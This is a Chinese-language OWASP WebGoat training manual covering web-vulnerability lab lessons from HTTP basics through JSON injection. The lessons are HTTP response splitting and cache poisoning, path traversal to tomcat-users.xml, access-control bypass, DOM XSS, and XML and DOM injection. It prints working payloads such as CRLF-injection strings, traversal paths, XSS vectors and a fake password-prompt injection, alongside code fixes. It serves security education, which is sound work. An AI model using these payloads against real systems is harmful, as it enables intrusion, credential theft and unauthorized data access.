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1 WebGoat简介	

1.1 什么是WebGoat	

WebGoat 是 OWASP组织研制出的用于进行 web 漏洞实验的应用平台，用来说明 web

应用中存在的安全漏洞。WebGoat 运行在带有 java 虚拟机的平台之上，当前提供的训练课

程有 30 多个，其中包括：跨站点脚本攻击（XSS）、访问控制、线程安全、操作隐藏字段、

操纵参数、弱会话 cookie、SQL 盲注、数字型 SQL 注入、字符串型 SQL 注入、web 服务、Open 

Authentication 失效、危险的 HTML 注释等等。WebGoat 提供了一系列 web 安全学习的教程，

某些课程也给出了视频演示，指导用户利用这些漏洞进行攻击。 

 

1.2 什么是 OWASP	

OWASP是一个开放式 Web应用程序安全项目（OWASP，Open Web Application Security 

Project）组织，它提供有关计算机和互联网应用程序的公正、实际、有成本效益的信息。其

目的是协助个人、企业和机构来发现和使用可信赖的软件。开放式 Web应用程序安全项目

（OWASP）是一个非营利组织，不附属于任何企业或财团。因此，由 OWASP提供和开发的

所有设施和文件都不受商业因素的影响。 

美国联邦贸易委员会(FTC)强烈建议所有企业需遵循 OWASP所发布的《十大 Web弱点防

护》守则。 

OWASP官方地址：http://www.owasp.org       

OWASP中文官方：http://www.owasp.org.cn   

 

1.3 WebGoat部署	

WebGoat 可以在网上下载到，运行其中的“webgoat_8080.bat”即可。在运行前，需要

将代理设置为 localhost，端口 8080。 

在浏览器中输入 http://localhost:8080/WebGoat/attack 登录，如果启动了 WebScarab，

则在浏览器输入 http://localhost.:8080/WebGoat/attack。初始用户名密码是 guest。 

可以在\WebGoat‐5.2\tomcat\conf\tomcat‐users.xml文件中修改用户名与密码。 

也可以在\WebGoat‐5.2\tomcat\conf\server_80.xml 文件中修改端口号。 

注意：具体文件路径可能因 WebGoat 版本不同而有所区别。 
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1.4 用到的工具	

1.4.1 WebScarab 

1.4.1.1 介绍	

WebScarab 是一个用来分析由浏览器提交到服务器请求，以及服务器对浏览器做出的响

应的应用服务框架，也可以当做一个代理工具，或者说就是一个代理。使用者可以利用

WebScarab 查看、分析、修改、创建所截取的浏览器与服务器之间的请求与响应，也可以用

来分析 HTTP 与 HTTPS协议。 

网页的对话输入框中可能存在某些限制，比如长度，格式等等。现在使用者可以在

WebScarab截获请求对话框中对其进行修改；还可以利用WebScarab对网站进行注入型攻击，

以测试网站的安全性。 

WebScarab 也是 WebGoat的一个辅助工具，在 WebGoat 进行某些漏洞攻击时，可以利

用 WebScarab 分析，修改所提交的请求，以及返回的响应。 

 

1.4.1.2 安装与配置	

1. 安装和运行的前提是 JRE 环境的支持，如果双击.jar 文件不能运行，可以右击选

择打开程序为 Java 安装路径下的 jre（C:\ProgramFiles\Java\jre1.6.0_02\bin）。 

2. 安装：双击 webscarab-installer-20070504-1631.jar 文件，按照安装向导进行相

应的安装。 

3. 运行：安装完成后可以通过桌面快捷方式或者安装目录下的 webscarab.jar 文件进

行运行，运行后如下图： 
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4. WebScarab 的安装比较简单，但是需要 JRE 环境。WebScarab 配置，主要是浏览器

网络链接的设置。 

5. 测试：勾选 WebScarab 的拦截选项，打开一个页面时 WebScarab 可以截获到请求，

说明配置正确。 

 

1.4.2 Firebug和 IEwatch 

Firebug 是 Firefox 下的一个插件,能够调试所有网站语言,如 HTML,CSS 等，但 FireBug

最吸引人的就是 JavaScript 调试功能，使用起来非常方便，而且在各种浏览器下都能使用

（IE,Firefox,Opera, Safari）。除此之外，还有其他强大的功能，比如 HTML,CSS,DOM 的

察看与调试，网站整体分析等等。总之，就是一套完整而强大的 WEB 开发工具。再有就是

其为开源的软件。 

IEWatch 是一个微软 IE 的内置插件，可以查看和分析 HTTP/HTTPS 头信息，cookies 以及通

过 GET 和 POST 提交的数据。 

 

1.5 其他说明	

由于 WebGoat 项目（包括中文）本身为 OWASP多名成员共同参与完成，因此可能出现

部分截图中 IP 或主机名不一致的情况。建议使用时结合您的安装环境的具体情况做必要的

调整。 
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2 WebGoat教程	

2.1 综合（General）	

2.1.1 HTTP基础知识（Http Basics） 

2.1.1.1 技术概念或主题（Concept	/	Topic	To	Teach）	

该课目的在于了解浏览器和 Web 应用程序之间数据交互的基本知识。 

 

2.1.1.2 技术原理（How	It	works）	

HTTP是如何工作的呢？所有的 HTTP 传输都要遵循同样的通用格式（需要使用 IEWatch

或 WebScarab 类插件协助进行学习）。每个客户端的请求和服务端的响应都有三个部分：请

求或响应行、一个报头部分和实体部分。客户端以如下方式启动一个交互： 

客户端连接服务器并发送一个文件请求。 

 

GET /index.html?param=value HTTP/1.0 

 

接下来，客户端发送可选头信息，告知接收服务器其配置和文件格式。 

 

User-Agent: Mozilla/4.06 Accept: image/gif, image/jpeg, */* 

 

发送请求和报头之后，客户端可以发送更多的数据。该数据主要用于使用 POST方法的

CGI程序。 

 

2.1.1.3 总体目标（General	Goals）	

请在页面下方的输入域中输入字符串，点击【Go!】按钮后提交数据。服务器接收请求

后会返回用户的输入，并回显给用户。该过程展现了 HTTP 请求的基本操作原理 

用户应通过以下操作熟悉 WebGoat的特征，如：通过操作页面上方的按钮可以查看提

示信息、HTTP  请求参数、HTTP  请求  Cookies以及 Java  源代码。您也可以在首次使用时尝

试使用工具 WebScarab。 
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2.1.1.4 操作方法（Solutions）	

在浏览器设置中增加一个 localhost 的代理，然后可以启动 WebScarab。 

 

我们需要在“拦截（Intercept）”选项卡中选择“拦截请求（intercept request）”。 

 

 

在页面输入框中填写上您的名字（“Your Name”）后，单击【Go!】按钮提交数据。在

WebScarab 的新窗口中，我们可以找到参数“person”。 
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该操作完成后，系统提示课程完成。 

2.1.2 HTTP拆分（HTTP Splitting） 

2.1.2.1 技术概念或主题	

该课目的在于介绍如何进行 HTTP拆分攻击。 

2.1.2.2 技术原理	

攻击者在向 Web服务器正常输入的请求中加入恶意代码，受到攻击的应用不会检查 CR

（回车，也可表示为%0d 或\r）和 LF（换行，也可表示为%0a 或\n）。这些字符不仅使攻击

者控制应用程序打算发送的响应头和响应体，而且还使他们能够完全在其控制下创造更多的

答复。 

HTTP拆分攻击配合缓存污染一起使用，能使效果达到最大化。缓存污染攻击的目标是

使缓存污染，欺骗缓存，使其相信使用 HTTP拆分劫持的页面是一个很正常的页面，是一个

服务器的副本。攻击发生时，使用 HTTP拆分攻击，加上最后修改添加的部分：请求头，并

设置它为将来的日期。这将迫使浏览器发送 If ‐ Modified‐ Since 请求头，这使攻击者有机会

拦截服务器的答复，并代之以一个“304 不修改”答复。以下是一个简单的 304 响应： 
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HTTP/1.1 304 Not Modified  

Date: Fri, 30 Dec 2005 17:32:47 GMT 

 

 

2.1.2.3 总体目标	

本课程分为两个步骤。步骤一将帮助您学习如何实施 HTTP  拆分攻击；步骤二在步骤一

的基础上将帮助您学习如何提升 HTTP拆分攻击技术以用于缓存污染攻击。 

 

首先，在输入框中填写任何语言名称并提交搜索，您会发现浏览器被重定向到服务端另

外一个资源。您需要利用  CR (%0d)  与  LF (%0a)等特殊字符串进行攻击，目标是强制服务端

返回一个 HTTP 200 OK 的数据包。如果攻击奏效页面发生变化，请回到首页。在步骤二成功

完成之后，您会在左侧菜单栏看到醒目的绿色图标——过关标志。 

您会发现 PHP Charset Encoder 非常有用。其中 Encode和 Decode URI模块的可以实现对

CR 和 LF等字符的转换。 

 

2.1.2.4 操作方法	

请注意，以下操作过程仅适用于 Windows环境。如果您正在使用 Linux，请作相关的修

改。Windows 系统中同时使用 CR 和 LF两个字符表示新行。Linux 用户只需要使用 LF，Mac OS

用户请使用 CR。所以如果您正在使用 Linux 系统，请将以下操作过程中所有的%0d%0a需要

替换成%0a（Linux）或%0d（Mac OS） 

由于输入内容未作验证您可以插入任何 HTTP语法，回车和换行符。 

随便输入一个语言名称提交看看数据都是怎么交互的。请确认 WebScarab 的请求拦截

和返回拦截功能已经启用。 

 

语言框输入“en”，并提交数据。 
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第一次 HTTP  请求 

 
第一次 HTTP  响应 
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第二次 HTTP 请求。 

可以看到第二次 HTTP请求的数据来自第一次 HTTP响应中的 Location 部分。而 Location

中的数据来自于第一次 HTTP请求。 

接下来重新开始，在第一次 HTTP数据提交前篡改 HTTP请求数据包。 

首先在 language字段注入非法数据：en%0d%0a%0d%0a%0d%0a。注意：Linux 和 Mac OS

系统请参考前面的章节做适当的修改。 

 

 
第一次 HTTP 请求 
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第一次 HTTP 响应。 

注入特殊字符后，HTTP 响应数据包中“Content‐Length: 0”告诉浏览器响应已经结束。 

200 OK 等字符串消息看起来很像“HTTP/1.1 200 OK”。 

利用以上特征，接下来您可以尝试使用如下字符串： 

foobar%0d%0aContent‐Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aCont

ent‐Type:%20text/html%0d%0aContent‐Length:%2047%0d%0a%0d%0a<html>Hacked J</html> 

 

 

Foobar 

Content-Length: 0 

 

HTTP/1.1 200 OK 

Content-Type: text/html 

Content-Length: 47 

 

<html>Hacked J</html> 
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HTTP拆分攻击 

 

HTTP响应 
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第二次 HTTP 请求 

 

第二次 HTTP 响应 
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HTTP拆分攻击成功。 

此时单击浏览器【后退】。 

 

步骤一完成。 

现在您已经知道如何进行 HTTP拆分攻击了。您可以使用这个技术发起一次缓存污染攻

击。 

缓存污染要求篡改 HTTP 头中的 Last‐Modified 字段。必须将字段修改为当前时间以后的

某个时间，如：2039年 6 月 4 日。 

再次修改 HTTP数据包，插入如下代码并提交： 

foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aConten

t-Type:%20text/html%0d%0aLast-Modified:%20Mon,%2027%20Oct%202060%2014:50:18%20

GMT%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Hacked J</html> 

 

Fooba 

Content-Length: 0 
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HTTP/1.1 200 OK 

Content-Type: text/html 

Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT 

Content-Length: 47 

 

<html>Hacked J</html> 

 

 

OK，看到以上提示说明您已经过关了。 

 

 

2.2 访问控制缺陷（Access	Control	Flaws）	

2.2.1 使用访问控制模型（Using an Access Control Matrix） 

2.2.1.1 技术概念或主题（Concept	/	Topic	To	Teach）	

在一个基于角色的访问控制方案中，角色代表了一组访问权限和特权。一个用户可以被

分配一个或多个角色。一个基于角色的访问控制方案通常有两个部分组成：角色权限管理和

角色分配。一个被破坏的基于角色的访问控制方案可能允许用户执行不允许他/她的被分配

的角色，或以某种方式允许特权升级到未经授权的角色的访问。 
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2.2.1.2 技术原理（How	It	works）	

无。 

 

2.2.1.3 总体目标（General	Goals）	

每个用户都是角色的成员，每个角色只允许访问那些特定的资源。您的目标是浏览本站

管理所使用的访问控制规则。只有“Admin”组才能够访问“帐号管理”资源。 

2.2.1.4 操作方法（Solutions）	

先选择一个用户，再选择一个资源，然后点击【Check Access】，出现页面如下图所示： 

 
红色字体所显示的意思是：公用用户 Moe对资源 Public Share有访问权限。接下来，保

持用户不变，即 Change user选项仍是 Moe，在 Select resource选项中选中下一个资源 Time 

Card Entry，然后仍然是点击【Check Access】，出现页面如下所示： 
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此时红色字体提示的意思是：公用用户Moe不具有对资源 Time Card Entry的访问权限。 

依照上述方法直到检测到如下提示时： 

 
当显示“用户 Larry对资源 Account Manager具有访问权限时”，本课程完成。 
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2.2.2 绕过基于路径的访问控制方案（Bypass a Path Based 

Access Control Scheme）   

2.2.2.1 技术概念或主题（Concept	/	Topic	To	Teach）	

在一个基于路径的访问控制方案中，攻击者可以通过提供相对路径信息遍历路径。因此，

攻击者可以使用相对路径访问那些通常任何人都不能直接访问或直接请求就会被拒绝的文

件。 

 

2.2.2.2 技术原理（How	It	works）	

大多数操作系统允许在路径中使用某些特征字符，如： 

 

/etc/passwd 

~/.ssh 

./configure 

./../../../etc/passwd 

c:\boot.ini 

.\test.txt 

..\..\..\boot.ini 

file:///c:\bbot.ini 

c:\test~1.txt 

 

 

 

2.2.2.3 总体目标（General	Goals）	

用户“user”能够访问 lesson_plans/English  目录下所有文件。您需要尝试突破访问控制策

略，访问不在下列清单中的文件。选中一个文件后，单击【View File】按钮 WebGoat会给出

该文件能否被访问的提示信息。一个有趣并值得尝试的是访问 Tomcat 的配置文件，一般是

“tomcat/conf/tomcat‐users.xml”。注意：该文件的位置取决于您正在使用的 WebGoat 版本和

环境。 
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2.2.2.4 操作方法（Solutions）	

选中“Choose the file to view”列表下的任何一个文件，然后点击【View File】，用

WebScarab 工具截获向服务器发送的请求，如图所示： 
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在上图中 File 的 Value 值就是想要访问的文件名，修改此处，改为

tomcat\conf\tomcat‐users.xml 

注意：文件的路径。如下图所示： 
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完成数据篡改后，单击【Accept changes】即可。在页面出现如下所示，则表示攻击成

功。 

 

 

2.2.2.5 特别说明（Special	Explanations）	

笔者使用的 OWASP虚拟机（OWASP Broken Web Apps VM v1.0）中，tomcat 用户配置文

件路径为： 

 

/etc/tomcat6/tomcat-users.xml 

 

因此 WebScarab 中填写的相对路径为： 

 

../../../../../../../../../../../../../../etc/tomcat6/tomcat-users.xml 

 

Windows环境下路径分割符为：“\”。 

2.2.3 基于角色的访问控制（LAB: Role Based Access Control） 

2.2.3.1 技术概念或主题（Concept	/	Topic	To	Teach）	

在一个基于角色访问控制的方案中，角色代表一组访问权限和特权。一个用户可以被分

配一个或多个角色，一个基于角色的访问控制通常包括两个部分：角色权限管理和角色分配。

一个被破坏的基于角色的访问控制方案，可能允许用户以没有分配他/她的角色或以某种方

式获得的未经授权的角色进行访问。 

 

2.2.3.2 技术原理（How	It	works）	

很多网站都尝试使用基于角色的方式严格限制资源访问，但开发人员在实现这类解决方

案时容易出现疏忽。 
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2.2.3.3 总体目标（General	Goals）	

2.2.3.3.1 Stage 1:  绕过表示层访问控制(Bypass Presentational Layer 

Access Control) 

Tom 是一名普通员工。请利用系统脆弱的访问控制策略，在员工列表页面执行删除功

能，验证 Tom 的个人信息能够被删除。每个用户的密码为该用户姓名中“名”的小写，如：

Tom Cat 的密码是 tom） 

 

 

2.2.3.3.2 Stage 2:  添加业务层的访问控制（Add Business Layer 

Access Control） 

本课程需要在 WebGoat 开发版本上完成。 

 

实施安全修复以拒绝未授权用户执行用户信息删除功能。要完成该功能，您需要修改

WebGoat 代码。一旦完成该步骤，请返回 Stage 1，重新测试并验证用户信息验证删除功能

能够被成功阻止。 
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2.2.3.3.3 Stage 3:  绕过数据层访问控制（Breaking Data Layer Access 

Control） 

Tom 是一名普通员工。请以 Tom 的身份，利用系统脆弱的访问控制策略越权访问另一

名员工的个人信息，并验证访问结果。 

 

2.2.3.3.4 Stage 4:  添加数据层访问控制（Add Data Layer Access 

Control） 

本课程需要在 WebGoat 开发版本上完成。 

 

实施安全修复以拒绝未授权用户对数据的访问。要完成该功能。一旦完成该步骤，请返

回 Stage 3，重新测试并验证尝试访问其它员工信息的行为能够被阻止。 

 

2.2.3.4 课程资源（Lesson	Resources）	

2.2.3.4.1 组织架构图（Orgnization Chart） 
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2.2.3.4.2 访问控制矩阵（Access Control Matrix） 

 
 

2.2.3.4.3 数据库结构（Database Schema） 

 

 

2.2.3.5 操作方法（Solutions）	

2.2.3.5.1 Stage 1:  绕过表示层访问控制(Bypass Presentational Layer 

Access Control) 

首先查找具有【DeleteProfile】权利的角色。通过登录每一个用户的帐号，可以发现作

为 HR的 Jerry具有【DeleteProfile】的权利，如图所示： 
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在 Select from the list below 下方的列表中选中一个用户，然后点击【DeleteProfile】。通

过抓包工具 WebScarab 可以截获向服务器发送的请求，如下图所示： 
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由上图可以看出 action对应的 value值是 DeleteProfile，即我们在 Tom 账户中任意选择

一种 action，将其对应的 value值改为 DeleteProfile，则 Tom 就具有了 DeleteProfile 权利。首

先，登录 Tom 账户，最初的 Tom 账户如下图所示： 

 
我们在 Select from the list below 下方的列表中选中 Tom，然后点击【ViewProfile】，通过
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抓包工具 WebScarab 将 Value 栏的 ViewProfile改为 DeleteProfile。

 

 

点击【Accept changes】按钮。出现如下页面，表示攻击成功。 
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2.2.3.5.2 Stage 2:  添加业务层的访问控制（Add Business Layer 

Access Control） 

本课程需要在 WebGoat 开发版本上完成。 

 

要确认用户是否有权执行某操作，首先需要检查该用户的权限。为此，您需要修改

org.owasp.webgoat.lessons.RoleBasedAccesControl.RoleBasedAccessContro

l.java 类中的相关代码。 

文件位置： 
 

E:\webgoat\WebGoat\tomcat\webapps\WebGoat\JavaSource\org\owasp\webgoat\lesso

ns\RoleBasedAccessControl下的 RoleBasedAccessControl.java， 

 

修改 handleRequest 方法，实现在未授权情况下抛出异常。代码中已经有一

个 isAuthorized 方法可供您调用。 

 

//***************CODE HERE************************* 
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if(!isAuthorized(s, getUserId(s), requestedActionName)) 

{ 

  throw new UnauthorizedException(); 

}          

//************************************************* 

 

完成代码修改后，请再次测试并验证 Stage 1 中未越权操作失败。完成该步

骤后，本节课程结束。 

 

2.2.3.5.3 Stage 3:  绕过数据层访问控制（Breaking Data Layer Access 

Control） 

 

登录 Tom用户界面，在 Select from the list below下选中 Tom用户，然后点击ViewProfile，

正常页面如下所示： 

 

即普通雇员 Tom 只可以查看自己的资料，利用 WebScarab 抓包工具截获请求，得到如

下页面： 
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要想查看别人的资料，可以将 employee_id 的 value值改为 101（用户 Jarry的 ID），修

改之后点击【Accept changes】。出现如下页面，则攻击成功。 
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2.2.3.5.4 Stage 4:  添加数据层访问控制（Add Data Layer Access 

Control） 

本课程需要在 WebGoat 开发版本上完成。 

 

您必须判断用户的操作权限，以及作为雇员用户的操作权限。为此，  您需要检查用户

授权。该操作需要通过在 org.owasp.webgoat.lessons.RoleBasedAccesControl.RoleBasedAccess

Control.java 类中修改代码实现。修改 handleRequest 方法，实现在未授权情况下抛出异常。

代码中已经有一个 isAuthorizedForEmployee 方法可供您调用。 

 

//***************CODE HERE************************* 

if(!isAuthorized(s, getUserId(s), requestedActionName)) 

{ 

  throw new UnauthorizedException(); 

} 

if(!action.isAuthorizedForEmployee(s, getUserId(s), 

s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID, 0))) 
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{ 

  throw new UnauthorizedException(); 

}       

//************************************************* 

 

完成代码修改后，请再次测试并验证 Stage 3 中越权操作失败。完成该步骤

后，本节课程结束。 

 

2.2.4 远程管理访问（Remote Admin Access） 

2.2.4.1 技术概念或主题（Concept	/	Topic	To	Teach）	

应用程序通常会有一个管理界面，这个界面一般用户无法访问到，只有具有特权的用户

才能访问。 

 

2.2.4.2 技术原理（How	It	works）	

很多网站开发人员在脚本中预留了相关的参数接口，一旦该参数被后台程序确认，则访

问者的权限会被放大，浏览到先前不能访问的资源，如：程序调试日志、隐藏功能菜单等。 

 

2.2.4.3 总体目标（General	Goals）	

尝试访问 WebGoat 的管理界面。您也可以尝试访问 Tomcat 的管理界面。Tomcat 的管理

界面可通过 URL（/admin）访问，但不作为本课程完成的考核内容。 

 

2.2.4.4 操作方法（Solutions）	

首先访问管理界面 URL为在当前地址后添加&admin=true，打开”Admin functions”后，可

以看到有【Report Card】、【User Information】、【Product Information】、【Report Card】和【Adhoc 

Query】等选项，选中 User Information，则会出现如下页面: 
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这是因为只有管理者才有权限查看User Information，在当前地址后面添加&admin=true，

可得如下界面： 

 
即我们可以看到用户的相关信息，而这些信息都是只有 admin 才可以看得，至此攻击

成功，在 Access Control Flaws中可以看到如下提示成功的页面： 
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2.2.4.5 特别说明（Special	Explanations）	

笔者使用的 OWASP虚拟机（OWASP Broken Web Apps VM v1.0）中，Tomcat 后台路径不

是手册中描述的地址，而是： 

 

http://IP:8080/manager/html 

 

 

 

2.3 Ajax安全（Ajax	Security）	

2.3.1 同源策略保护（Same Origin Policy Protection） 

2.3.1.1 技术概念或主题（Concept	/	Topic	To	Teach）	

AJAX 技术的一项关键元素是 XMLHttpRequest（XHR），该技术允许客户端向服务端发起

异步调用。然而，作为一项安全措施，这些请求最好只能从客户端原始页面向服务端发起访

问。 

 

2.3.1.2 技术原理（How	It	works）	

同源策略是客户端脚本（尤其是 Javascript）的重要的安全度量标准。它最早出自于

Netscape Navigator2.0，其目的是防止某个文档或脚本从多个不同源装载。 

当脚本被浏览器半信半疑运行在沙箱时，它们应该只被允许访问来自同一站点的资源，

而不是那些来自其它站点可能怀有恶意的资源。 

 

2.3.1.3 总体目标（General	Goals）	

该练习将演示同源策略保护。XMLHttp 只能向同源服务端发送请求，任何向非同源服务

端发送数据的尝试都将失败。 

 

2.3.1.4 操作方法（Solutions）	

依次点击页面中的两个链接，查看浏览器的操作结果完成本节课程。 
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2.3.2 基于 DOM的跨站点访问（LAB: DOM‐Based cross‐site 

scripting） 

2.3.2.1 技术概念或主题	

文档对象模型（DOM）从安全的角度展现了一个有趣的问题。它允许动态修改网页内

容，但是这可以被攻击者用来进行恶意代码注入攻击。XSS，一种恶意代码注入，一般会发

生在未经验证的用户的输入直接修改了在客户端的页面内容的情况下。 

 

2.3.2.2 技术原理	

HTML DOM实体中可随时插入新的 HTML 语句或 JavaScript 语句，因此很容易被恶意代

码利用，从而用来改变页面显示内容或执行恶意代码。 

HTML 标记语言中很多标签的特殊属性参数中允许插入 JS代码，如：IMG/IFRAME等。 

 

2.3.2.3 总体目标	

在这个练习中，您的任务是利用此漏洞将恶意代码注入到 DOM，然后在最后阶段，通
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过修改代码来修复这个缺陷，从而解决该漏洞。 

 

2.3.2.3.1 Stage 1:改变 Web页面显示内容 

在这个练习中，您的任务是构造恶意代码，使用图片 OWASP IMAGE 

（http://192.168.33.204/WebGoat/images/logos/owasp.jpg）改变原来 Web 页面的显示方式。 

 

 

 

2.3.2.3.2 Stage 2:使用 IMG标签 

现在，请利用 image标签创建 JavaScript Alert 对话框。 

  

2.3.2.3.3 Stage 3:使用 IFRAME 标签 

现在，请利用 iframe 标签创建 JavaScript Alert 对话框。 

 

2.3.2.3.4 Stage 4:伪造输入框 

使用如下代码创建虚假输入框，骗取用户密码。 

 

Please enter your password:<BR><input type = "password" name="pass"/><button onClick="javascr

ipt:alert('I have your password: ' + pass.value);">Submit</button><BR><BR><BR><BR><BR><BR><

BR><BR><BR><BR><BR><BR><BR><BR><BR><BR> 
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2.3.2.3.5 Stage 5:修复漏洞 

启用客户端 HTML 内容编码以规避 DOM XSS漏洞。escape.js文件中提供了各种您可以

使用的方法。 

 

 

2.3.2.4 操作方法	

2.3.2.4.1 Stage 1:改变 Web页面显示内容 

输入"<IMG SRC="images/logos/owasp.jpg"/>"，然后提交。返回如图所示： 

 

 

 

2.3.2.4.2 Stage 2:使用 IMG标签 

输入"<img src=x onerror=;;alert('XSS') />"，然后提交。返回结果如图所示： 
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2.3.2.4.3 Stage 3:使用 IFRAME 标签 

输入"<IFRAME SRC="javascript:alert('XSS');"></IFRAME>"，然后提交。返回结果如图所示： 

 

 

2.3.2.4.4 Stage 4:伪造输入框 

输入以下代码： 

Please enter your password:<BR><input type = "password" name="pass"/><button 

onClick="javascript:alert('I have your password: ' + 

pass.value);">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR> 

<BR><BR><BR><BR><BR><BR><BR><BR> 

然后提交，返回结果如图所示： 

 

 

页面上部的 INPUT输入框是伪造的，用户输入的密码信息会被截取。 
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2.3.2.4.5 Stage 5:修复漏洞 

输入部分需要用到 JavaScript 文件 escape.js。您可以在 tomcat\webapps\WebGoat\javasc

ript  (  Standart  Version  )  或    WebContent\javascript  （开发版）中找到相关的脚本文件。 

编辑 DOMXSS.js，将以下内容： 

 

function displayGreeting(name) { 

if (name != ''){ 

document.getElementById("greeting").innerHTML="Hello, " + name + "!"; 

} 

} 

 

修改为： 

 

function displayGreeting(name) { 

if (name != ''){ 

document.getElementById("greeting").innerHTML="Hello, " + escapeHTML(name); + "!"; 

} 

} 

 

完成修改后，针对该漏洞的利用将被屏蔽。 

 

2.3.3 小实验：客户端过滤（LAB: Client Side Filtering） 

2.3.3.1 技术概念或主题	

服务端只向客户端发送其只能访问到的数据。在本课程中，服务端向客户端发送了过多

的数据，由此产生了一个严重的访问控制问题。 

 

2.3.3.2 技术原理	

服务端与客户端数据交互过程虽然被页面代码进行了隐藏，但仍然可以通过 Firebug、

IEWatch、WebScarab 等工具捕获到，直接显示在用户眼前。 

 



                                                                              http://www.owasp.org.cn 

  44 / 177 
 

2.3.3.3 总体目标	

该课目的在于利用服务器返回的多余信息，发现您不该访问的信息并修复该漏洞。 

 

2.3.3.3.1 Stage 1:查找额外敏感信息 

找到 Neville Bartholomew的薪水信息。 

 

2.3.3.3.2 Stage 2:修复漏洞 

修复该问题。修改服务器代码，确认只能返回 Moe Stooge 才能访问的返回数据。 

 

2.3.3.4 操作方法	

2.3.3.4.1 Stage 1:查找额外敏感信息 

通过【Select user】下拉菜单查询其它数据。在有返回数据的时候使用 Firebug或

WebScarab 查看源代码或返回数据。找到 Neville的薪水信息。 
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提交概述据后，完成本课程第一步。 

 

2.3.3.4.2 Stage 2:修复漏洞 

本课程中，您需要修改 clientSideFiltering.jsp 中的代码。该文件您可以在 WebContent

的 lessons/Ajax 文件夹下找到。该安全漏洞的主要问题是服务端将所有数据返回给客户端，

尽管这些敏感数据被隐藏了，但仍然可以被发现。在本课程中您可以在 XPath 查询中增加一

个过滤器。在文件中您可以找到如下结构： 

 

StringBuffer sb = new StringBuffer(); 

sb.append("/Employees/Employee/UserID | "); 

sb.append("/Employees/Employee/FirstName | "); 

sb.append("/Employees/Employee/LastName | "); 

sb.append("/Employees/Employee/SSN | "); 

sb.append("/Employees/Employee/Salary "); 

String expression = sb.toString(); 

 

该字符串可以在 XPath 查询中被使用。您需要授权只有管理人员才可以查看其它的雇员

的信息。要实现该功能您需要使用 XPath 过滤器。以下代码可以实现： 

 

StringBuffer sb = new StringBuffer(); 

sb.append("/Employees/Employee[Managers/Manager/text() = " + userId + "]/UserID | "); 

sb.append("/Employees/Employee[Managers/Manager/text() = " + userId + "]/FirstName | "); 
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sb.append("/Employees/Employee[Managers/Manager/text() = " + userId + "]/LastName | "); 

sb.append("/Employees/Employee[Managers/Manager/text() = " + userId + "]/SSN | "); 

sb.append("/Employees/Employee[Managers/Manager/text() = " + userId + "]/Salary "); 

String expression = sb.toString(); 

现在，您的客户端将只能访问到经过授权的信息了。 

 

2.3.4 DOM注入（DOM Injection） 

2.3.4.1 技术概念或主题	

本课程将教会您如何执行 DOM 注入攻击 

 

2.3.4.2 技术原理	

一些应用程序专门使用 AJAX 操控和更新在 DOM 中能够直接使用的 JavaScript、DHTML

和 eval()方法。攻击者可能会利用这一点，通过拦截答复，注入一些 JavaScript 命令，实施攻

击。 

 

2.3.4.3 总体目标	

*  目标系统需要您输入激活码； 

*  您的目标就是激活被禁用的按钮； 

*  您需要花点时间阅读 HTML 代码，理解激活码的验证过程。 

 

2.3.4.4 操作方法	

浏览器与服务端通过 Ajax 技术实现 XML 通信。查看 HTML 源代码后，您会发现代码中

使用了 XMLHttpequest。 

 

<script> 

function validate() { 

var keyField = document.getElementById('key'); 

var url = 'attack Screen=80&menu=1150&from=ajax&key=' + 

encodeURIComponent(keyField.value); 

if (typeof XMLHttpRequest != 'undefined') { 

req = new XMLHttpRequest(); 
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} else if (window.ActiveXObject) { 

req = new ActiveXObject('Microsoft.XMLHTTP'); 

   } 

   req.open('GET', url, true); 

   req.onreadystatechange = callback; 

   req.send(null); 

} 

function callback() { 

    if (req.readyState == 4) { 

        if (req.status == 200) { 

            var message = req.responseText; 

            eval(message); 

        }}} 

</script> 

 

XML 响应内容中包括激活按钮的 JavaScript 语句。这就需要在 HTML 的 DOM 中植入

JavaScript 语句。该操作要用到 WebScarab 的 HTTP  响应拦截功能。 

 

   

任意输入一个 license key（比如：“a”），设置 WebScarab 启用 HTTP请求和响应的拦截。 

 

 

HTTP请求 



                                                                              http://www.owasp.org.cn 

  48 / 177 
 

 

HTTP响应 

 

拦截 HTTP返回数据，替换 body内容为： 

 

document.form.SUBMIT.disabled = false; 

 

 

此时，浏览器页面代码激活按钮成功激活！ 
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任意输入一个 license key，【单击 Activiate!】，成功完成本课程内容。 

 

 

 

2.3.5 XML注入（XML Injection） 

2.3.5.1 技术概念或主题	

本课程将教会您如何执行 XML注入攻击。 
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2.3.5.2 技术原理	

AJAX 应用程序使用 XML与服务端进行信息交互。但该 XML 内容能够被非法用户轻易拦

截并篡改。 

 

2.3.5.3 总体目标	

WebGoat‐Miles的 Miles奖励显示了所有可用的奖金。一旦您成功登录自己的 ID，系统

将显示出您的账号余额及可以购买的产品。您的目标是要尽量为自己添加更多的奖励。您的

帐户 ID 是 836239。 

 

 

2.3.5.4 操作方法	

会员 836239 只有 100 积分，只能获取 100 积分内的奖品。现在我们希望当前会员获取

到 2000，3000 积分的奖品。 

输入 836239 后，网站的当前页面如图所示： 

 

打开 WebScarab 工具，点击【截获】按钮；在上图输入框 836239 的后面按回车，则爬

虫工具截获界面如下图： 



                                                                              http://www.owasp.org.cn 

  51 / 177 
 

 

修改代码，在<root></root>中添加以下代码，修改后保存： 

<reward>WebGoat Core Duo Laptop 2000 Pts</reward> 

<reward>WebGoat Hawaii Cruise 3000 Pts</reward> 

在网页的输入框中再次输入 836239，则获取到积分为 2000,3000 的奖品，如图所示： 
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2.3.6 JSON注入（JSON Injection） 

2.3.6.1 技术概念或主题	

本课程将教会您如何执行 JSON注入攻击 

 

2.3.6.2 技术原理	

JavaScript Object Notation (JSON)是一种简单的轻量级的数据交换格式，JSON 可以

以很多形式应用，如：数组，列表，哈希表和其他数据结构。JSON 广泛应用于 AJAX 和

web2.0 应用。相比 XML，JSON 得到程序员的更多的青睐，因为它使用更简单，速度更快。

但是与 XML 一样容易受到注入攻击，恶意攻击者可以通过在请求响应中注入任意值。 

 

2.3.6.3 总体目标	

您即将从 Boston（机场代码 BOS）飞往 Seattle（机场代码 SEA）。 

一旦您输入机场代码的三个字母后，浏览器将向服务端发送 AJAX 请求查询航班和机

票价格。 

您将发现有两个航班可以选择：直达航班，价格贵；经停 2 次的转机航班，价格便宜。 

您的目标是：购买直达航班的机票，但要使用更便宜的价格。 

 

